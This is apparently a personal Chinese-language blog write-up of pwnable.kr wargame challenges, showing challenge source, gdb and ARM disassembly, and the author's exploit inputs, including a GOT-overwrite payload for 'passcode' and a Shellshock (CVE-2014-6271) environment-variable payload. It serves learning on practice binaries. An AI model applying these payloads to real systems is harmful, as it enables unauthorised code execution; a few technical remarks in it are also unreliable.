2017-07-18

Pwn

pwnable.kr的历险1

近期有个比赛哇。。最近恶补一下pwn把。。

pwnable.kr的历险1

fd - 1 pt

这个题目本身挺简单的，就是让argv[1] == 0x1234即可。但是有个神奇的现象，不知道它是怎么编译的，居然再fd = 1和fd = 2的时候都可以读取数据到buf中。。求解释。

collision - 3 pt

逻辑就是将一个输入的字符串转换成整形数组(长度为5)，然后将其相加后得到的答案要等于 0x21DD09E。然后考虑到，这个内容如果直接做，不能出现\x00，不然strlen会发生字符串长度截断。所以要保证不能有\x00，于是改一下，变成:

`python -c "print '\xc8\xce\xc5\x06'*4 + '\xcc\xce\xc5\x06'"`

这个用到一个linux 操作 –
command 倒引号 (backticks)
倒单引号能够将cmd包括，然后能够执行。

bof - 5 pt

简单的栈溢出。直接上脚本:

passcode - 10 pt

这个有点难，我们要记录一下代码

#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

提示说是passcode，程序带有warning，发现是一个很搞怪的模式：
void login(){
int passcode1;
int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
            printf("Login OK!\n");
            system("/bin/cat flag");
    }
    else{
            printf("Login Failed!\n");
            exit(0);
    }

}
gdb查看汇编如下：

0x08048564 <+0>: push %ebp
0x08048565 <+1>: mov %esp,%ebp
0x08048567 <+3>: sub $0x28,%esp
=> 0x0804856a <+6>: mov $0x8048770,%eax
0x0804856f <+11>: mov %eax,(%esp)
0x08048572 <+14>: call 0x8048420 printf@plt
0x08048577 <+19>: mov $0x8048783,%eax
0x0804857c <+24>: mov -0x10(%ebp),%edx
0x0804857f <+27>: mov %edx,0x4(%esp)
0x08048583 <+31>: mov %eax,(%esp)
0x08048586 <+34>: call 0x80484a0 __isoc99_scanf@plt
0x0804858b <+39>: mov 0x804a02c,%eax
0x08048590 <+44>: mov %eax,(%esp)
0x08048593 <+47>: call 0x8048430 fflush@plt
0x08048598 <+52>: mov $0x8048786,%eax
0x0804859d <+57>: mov %eax,(%esp)
0x080485a0 <+60>: call 0x8048420 printf@plt
0x080485a5 <+65>: mov $0x8048783,%eax
0x080485aa <+70>: mov -0xc(%ebp),%edx
0x080485ad <+73>: mov %edx,0x4(%esp)
0x080485b1 <+77>: mov %eax,(%esp)
0x080485b4 <+80>: call 0x80484a0 __isoc99_scanf@plt
0x080485b9 <+85>: movl $0x8048799,(%esp)
0x080485c0 <+92>: call 0x8048450 puts@plt
0x080485c5 <+97>: cmpl $0x528e6,-0x10(%ebp)
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmpl $0xcc07c9,-0xc(%ebp)
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: movl $0x80487a5,(%esp)
0x080485de <+122>: call 0x8048450 puts@plt
0x080485e3 <+127>: movl $0x80487af,(%esp)
0x080485ea <+134>: call 0x8048460 system@plt
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: movl $0x80487bd,(%esp)
0x080485f8 <+148>: call 0x8048450 puts@plt
0x080485fd <+153>: movl $0x0,(%esp)
0x08048604 <+160>: call 0x8048480 exit@plt

由于想不到正确的做法发，那么只能强行绕过，执行我们需要的结果了：使用gdb修改eip使其指向0x080485e3
/bin/cat: flag: Permission denied
Now I can safely trust you that you have credential :)
然而提交答案后发现不对，只能猜测必须构造正确的字符串才能够执行。。。。
后来发现，mdzz它开始有一个可以注入的位置啊居然就这样跳过了：
void welcome(){
char name[100];
printf(“enter you name : “);
scanf(”%100s”, name);
printf(“Welcome %s!\n”, name);
}

汇编如下：
0x08048609 <+0>: push %ebp
0x0804860a <+1>: mov %esp,%ebp
0x0804860c <+3>: sub $0x88,%esp
=> 0x08048612 <+9>: mov %gs:0x14,%eax
0x08048618 <+15>: mov %eax,-0xc(%ebp)
0x0804861b <+18>: xor %eax,%eax
0x0804861d <+20>: mov $0x80487cb,%eax
0x08048622 <+25>: mov %eax,(%esp)
0x08048625 <+28>: call 0x8048420 printf@plt
0x0804862a <+33>: mov $0x80487dd,%eax
0x0804862f <+38>: lea -0x70(%ebp),%edx
0x08048632 <+41>: mov %edx,0x4(%esp)
0x08048636 <+45>: mov %eax,(%esp)
0x08048639 <+48>: call 0x80484a0 __isoc99_scanf@plt
0x0804863e <+53>: mov $0x80487e3,%eax
0x08048643 <+58>: lea -0x70(%ebp),%edx
0x08048646 <+61>: mov %edx,0x4(%esp)
0x0804864a <+65>: mov %eax,(%esp)
0x0804864d <+68>: call 0x8048420 printf@plt
0x08048652 <+73>: mov -0xc(%ebp),%eax
0x08048655 <+76>: xor %gs:0x14,%eax
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 __stack_chk_fail@plt
0x08048663 <+90>: leave
0x08048664 <+91>: ret
那么就很显然了，只要构造一个长度为0x74的padding，加上能够跳转到system语句的内容，就能够完成注入。
输入字符串地址为：0xfffddf98

ebp地址为：0xfffde008

则注入数据长度为：112 + 地址

地址为0x080485e3

尝试发现也不行，这里的scanf中限制了一次性读入的字符串数量。。。这就很尴尬了。
上网找了参考后发现，应该利用的是【修改plt的思路】，也就是说

0x080485fd <+153>: movl $0x0,(%esp)
0x08048604 <+160>: call 0x8048480 exit@plt

如果密码错误的话，这里会调用0x08048480处的exit，注意到这里是plt，也就是说这里的跳转地址只是跳转到plt表中而已，此时的plt表中的位置不过是一个跳转的地址而已，所以可以通过修正这个跳转地址使得可以跳到目的位置上去。
首先使用readelf -r 指令查看当前的重定向位置：

0804a018  00000707 R_386_JUMP_SLOT   00000000   exit@GLIBC_2.0

发现此时exit的偏移量为0x0804a018处相关代码为：

0x08048480 <+0>:     jmp    *0x804a018
0x08048486 <+6>:     push   $0x30
0x0804848b <+11>:    jmp    0x8048410

内部代码为：
0x0804a018中的内容为 0x08048486，也就是跳转回到这个位置。
换句话，linker的过程其实就是把这个jmp的跳转地址修改，所以我们也可以如法炮制，通过passcode将内容写入这里。
注意到两个函数连续调用，也就是说栈中的变化应该是一致的。于是可以得到不同量的存储位置：

-0x10(%ebp)：passcode1
-0x70(%ebp): name
-0x0c(%ebp): passcode2

0x70 - 100 = 0xc。也就是说写入name的时候的内容会将passcode1给覆盖掉，却不能覆盖到passcode2。然而我们已知passcode1读入的数据会存放到其地址指向的内容中。

0x0804857c <+24>:    mov    -0x10(%ebp),%edx
0x0804857f <+27>:    mov    %edx,0x4(%esp)
0x08048583 <+31>:    mov    %eax,(%esp)
0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>

（原先是一句错误的内容，我们这里反而要利用这一点，将%edx中的内容替换成我们要输入的位置的坐标）

'a'*96 + '\x18\xa0\x04\x08' + '134514147'-->注意人家读入的是scanf("%d")

就能够往0x0804a018处写入system的地址，完成注入。

random - 1 pt

这个考点就是一个随机数。。。直接上C语言即可完成。

input - 4 pt

当年弃坑就是因为这个题目，这重新看一下L

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
        printf("Welcome to pwnable.kr\n");
        printf("Let's see if you know how to give input to program\n");
        printf("Just give me correct inputs then you will get the flag :)\n");

        // 参数要有100个
        if(argc != 100) return 0;
        // 第61个参数是61
        if(strcmp(argv['A'],"\x00")) return 0;
        // 第62个参数是\x20\x0a\x0d
        if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
        printf("Stage 1 clear!\n");

        // stdio
        char buf[4];
        // 然后输入流输入\x00\x0a\x00\xff
        read(0, buf, 4);
        if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
        // 然后错误流输入\x00\x0a\x00\xff
        read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
        printf("Stage 2 clear!\n");

        // env
        // 接下来存在环境变量 '\xde\xad\xbe\xef',对应值为'\xca\xfe\xba\xbe'
        if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
        printf("Stage 3 clear!\n");

        // file
        // 然后存在一个文件叫做\x0a
        FILE* fp = fopen("\x0a", "r");
        if(!fp) return 0;
        // 从文件中读出 4个一字节的数独到buf中
        if( fread(buf, 4, 1, fp)!=1 ) return 0;
        // 文件中的值为\x00\x00\x00\x00
        if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
        fclose(fp);
        printf("Stage 4 clear!\n");

        // network
        int sd, cd;
        struct sockaddr_in saddr, caddr;
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd == -1){
                printf("socket error, tell admin\n");
                return 0;
        }
        saddr.sin_family = AF_INET;
        saddr.sin_addr.s_addr = INADDR_ANY;
        // 这要求监听一个端口，参数为第63个为端口
        saddr.sin_port = htons( atoi(argv['C']) );
        if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
                printf("bind error, use another port\n");
                return 1;
        }
        listen(sd, 1);
        int c = sizeof(struct sockaddr_in);
        cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
        if(cd < 0){
                printf("accept error, tell admin\n");
                return 0;
        }
        // 这个端口上要能够接收到字符串\xde\xad\xbe\xef
        if( recv(cd, buf, 4, 0) != 4 ) return 0;
        if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
        printf("Stage 5 clear!\n");

        // here's your flag
        system("/bin/cat flag");
        return 0;
}

好麻烦啊啊。。。。看起来是要靠一波底力了。由于我们看到很多功能只有我们再本地才能实现，所以这里我们再linux下的/tmp/文件夹下写代码（普通目录由于权限问题不能写入）从而完成实验
让我们一个个关卡来：

// 参数要有100个
     if(argc != 100) return 0;
     // 第61个参数是61
     if(strcmp(argv['A'],"\x00")) return 0;
     // 第62个参数是\x20\x0a\x0d
     if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;

这个地方要求我们传参到指定位置上。这里我们直接使用函数

execvp(const char *file ,char * const argv []);

来传递函数即可。我们这里考虑使用execvp的原因在于之后用到了环境变量的问题，所以这里动态的增加环境变量

setenv(const char *name,const char * value,int overwrite);

然后再进行调用试试：

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>

char *args[101];
int main(){
     char* env = "PATH";
     char* value = "/home/input2";

     setenv(env, value, 1);
     int i = 0;
     for(i = 0; i < 100; i++){                                                                                                                                
         args[i] = malloc(sizeof(char)*20);
     }
     args[100] = 0;
     strcpy(args['A'] ,"\x00");
     strcpy(args['B'], "\x20\x0a\x0d");
     printf("begin\n");
     execvp("input", args);
     return 0;
}

没问题，然后进入第二关

// 然后输入流输入\x00\x0a\x00\xff
        read(0, buf, 4);
        if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
        // 然后错误流输入\x00\x0a\x00\xff
        read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
        printf("Stage 2 clear!\n");

第二关的要去是往输入流和错误流中写入指定的字符串，这里我们尝试使用write往0和2中写入数据。发现直接写并不能写入，所以这里直接使用了pipe和fork进行处理：

int pid = fork();
if(pid == 0){
	close(p[1]);close(p2[1]);
	dup2(p[0], 0);
	dup2(p2[0], 2);
	close(p[0]);
	// close(p2[0]);
	// close(0);
	execvp("input", args);
}
else{
	close(p[0]);close(p2[0]);
	write(p[1],"\x00\x0a\x00\xff", 4);
	write(p2[1], "\x00\x0a\x02\xff", 4);
}

第三关比较简单，就是设置环境变量。

// env
// 接下来存在环境变量 '\xde\xad\xbe\xef',对应值为'\xca\xfe\xba\xbe'
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

这个肯定没问题，毕竟我们之前已经设置过了：

1
2
3

char* env2 = "\xde\xad\xbe\xef";
char* value2 = "\xca\xfe\xba\xbe";
setenv(env2, value2, 1);

三行解决问题

第四关有点疑惑，是要求我们在指定的位置创建一个文件，然后里面放有指定内容即可。

// file
// 然后存在一个文件叫做\x0a
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
// 从文件中读出 4个一字节的数独到buf中
if( fread(buf, 4, 1, fp)!=1 ) return 0;
// 文件中的值为\x00\x00\x00\x00
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

问题是，我们都知道，这个input所在目录是不可写的。。。那么我们得如何创建文件呢？这里想到，如果是本程序执行的execvp，那么创建的文件会不会就是在本目录
下呢？（希望知情大佬告知）

最后一关比较麻烦，是网络的知识：

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
// 这要求监听一个端口，参数为第63个为端口
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
        return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
}
// 这个端口上要能够接收到字符串\xde\xad\xbe\xef
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

整体逻辑便是【监听当前’C’传入的端口，并且从这个端口上接收数据\xde\xad\xbe\xef】。那么我们这边就可以反向处理，往本地ip的’C’端口发送指定的内容，从而完成关卡。
最后，由于函数会有一个打开flag的操作，而我们当前的路径并不是在/home/input2下，所以当前目录下没有flag。于是我们可以使用

ln /home/input2/flag flag

进行符号链接。

leg - 2 pt

这个关卡是查看arm汇编，这里先贴一点代码:

#include <stdio.h>
#include <fcntl.h>
int key1(){
	asm("mov r3, pc\n");
}
int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
int key3(){
	asm("mov r3, lr\n");
}
int main(){
	int key=0;
	printf("Daddy has very strong arm! : ");
	scanf("%d", &key);
	if( (key1()+key2()+key3()) == key ){
		printf("Congratz!\n");
		int fd = open("flag", O_RDONLY);
		char buf[100];
		int r = read(fd, buf, 100);
		write(0, buf, r);
	}
	else{
		printf("I have strong leg :P\n");
	}
	return 0;
}

可以看到还是比较麻烦的。。。我们先来复习一下ARM：

寄存器含义

r15 – PC:程序计数器，在arm模式下，记录的是当前pc + 8，在thumb模式下，记录的是当前pc + 4
r14 – LR:链接寄存器，记录了返回值地址。
r13 – SP:栈寄存器

操作码

基本的指令如下
opcode {}{S} , {,}
其中<>为必须，{}为可选

* cond: 执行条件
* Rd:表示目标寄存器。
* Rn:表示第一个操作数的寄存器。
* operand2:表示第2个操作数。

其中，operand2中允许以下的表达:

#immed_8r:常数表达式
Rm:寄存器

存储方式

AR采用的是Load-store结构,也就是在内存交换的时候，使用store指令存入内存，再用load读出内存中的数据。
例子:

STMFD SP! {R8-R9}
含义：(1)SP=SP-4字节 (2) R9--->SP  (3)SP=SP-4  (4) R8-->SP
LDMFD SP! {R8-R9,PC}
含义：(1)SP-->R8   (2)SP=SP+4  (3)SP-->R9  (4)SP=SP+4  (5)SP-->PC  (6) SP=SP+4

函数调用

BL/BLX/BX调用函数，此时使用r14（链接寄存器）存入此时下一跳语句。
返回值存放在r0中。

arm的指令对齐

ARM指令是字对齐（指令的地址后两位为［1:0]=0b00），Thumb是半字对齐（指令的地址后两位为［1:0]=0bx0,x为0或1）。指令的地址的最后一位必为0。
所以当使用bx进行跳转的时候，必须保证指令地址的最后一位为0。因此如果指定的跳转地址不是对其的话，就会将其与0xfffffffc/0xffffffe进行与在进行计算

参数传递的时候，会首先将前四个参数放在r0-r4上，之后的参数才会放到栈上。

回到代码上，首先key1的汇编如下：

0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
0x00008cd8 <+4>:	add	r11, sp, #0		; r11 = sp + 0
0x00008cdc <+8>:	mov	r3, pc
0x00008ce0 <+12>:	mov	r0, r3
0x00008ce4 <+16>:	sub	sp, r11, #0
0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
0x00008cec <+24>:	bx	lr

此时的返回值可以知道，就是当前的pc + 8，也即是0x8ce4

key2如下:

0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
0x00008cf4 <+4>:	add	r11, sp, #0
0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
0x00008cfc <+12>:	add	r6, pc, #1
0x00008d00 <+16>:	bx	r6
0x00008d04 <+20>:	mov	r3, pc
0x00008d06 <+22>:	adds	r3, #4
0x00008d08 <+24>:	push	{r3}
0x00008d0a <+26>:	pop	{pc}
0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
0x00008d10 <+32>:	mov	r0, r3
0x00008d14 <+36>:	sub	sp, r11, #0
0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
0x00008d1c <+44>:	bx	lr

这个地方有一个让我奇怪的问题，这个r6的地址显然不对啊。后来查到一个叫做thumb指令的东西，发现前面的代码中也有相关的蛛丝马迹

".code   16\n"
"mov	r3, pc\n"
"add	r3, $0x4\n"
"push	{r3}\n"
"pop	{pc}\n"
".code	32\n"
"pop	{r6}\n"

.code 16的声明就意味着使用的就是thumb指令集。而此时的使用哪种指令集由低位决定。由于我们前面有提

add r6, pc, #1

此时，状态是由寄存器Rn的最低位来指定的，如果操作数寄存器的状态位Bit0=0，则进入ARM状态，如果Bit0=1，则进入Thumb状态。于是此时状态为Thumb，地址要进行与0xfffffffe相与，得到的地址为0x00008d04.于是此时的返回值就是0x8d08 + 4

最后是key3:

0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
0x00008d24 <+4>:	add	r11, sp, #0
0x00008d28 <+8>:	mov	r3, lr
0x00008d2c <+12>:	mov	r0, r3
0x00008d30 <+16>:	sub	sp, r11, #0
0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
0x00008d38 <+24>:	bx	lr

这里可以看到，这里将lr 交给了r3，也就是将【函数的返回地址】交给了r0,所以这里的答案就是：
0x00008d80

综上，key1+key2+key3 = 0x8ce4 + 0x8d08 + 4 + 0x8d80

mistake - 1 pt

这个题目提示说，是一个简单的题目，并且是真实漏洞，希望我们不要想象的太难。并且提示上提到说是运算符优先级的问题，拿到源码看一下:

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
        int i;
        for(i=0; i<len; i++){
                s[i] ^= XORKEY;
        }
}

int main(int argc, char* argv[]){

        int fd;
        if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
                printf("can't open password %d\n", fd);
                return 0;
        }

        printf("do not bruteforce...\n");
        sleep(time(0)%20);

        char pw_buf[PW_LEN+1];
        int len;
        if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
                printf("read error\n");
                close(fd);
                return 0;
        }

        char pw_buf2[PW_LEN+1];
        printf("input password : ");
        scanf("%10s", pw_buf2);

        // xor your input
        xor(pw_buf2, 10);

        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
                printf("Password OK\n");
                system("/bin/cat flag\n");
        }
        else{
                printf("Wrong Password\n");
        }

        close(fd);
        return 0;
}

看了好一会儿才发现问题所在。。。

1	fd=open("/home/mistake/password",O_RDONLY,0400) < 0

其实**=优先级是低于<**的，并且open总是>0的，因此得到的fd应该为0，也就是输入流，这里就相当于从输入流中读取数据进行异或了。所以这里我们只需要输入两组长度为10的数据，并且保证其中一个为另一个 xor 1 即可

shellshock - 1 pt

这个题目是一个真实漏洞:
CVE-2014-6271
这个漏洞的利用在于，其解析环境变量的时候，在遇到以“(){”开头通过环境变量来定义的，却没有出现}的环境变量的时候，将会执行其后面的内容，从而造成任意指令执行。
通过设置环境变量:

export x='() { :;}; /home/shellshock/bash -c "cat /home/shellshock/flag"'

l1nk3dHouse

嘛。。就这样吧

pwnable.kr的历险1

pwnable.kr的历险1

fd - 1 pt

collision - 3 pt

bof - 5 pt

passcode - 10 pt

random - 1 pt

input - 4 pt

leg - 2 pt

寄存器含义

操作码

存储方式

函数调用

arm的指令对齐

mistake - 1 pt

shellshock - 1 pt

相关事宜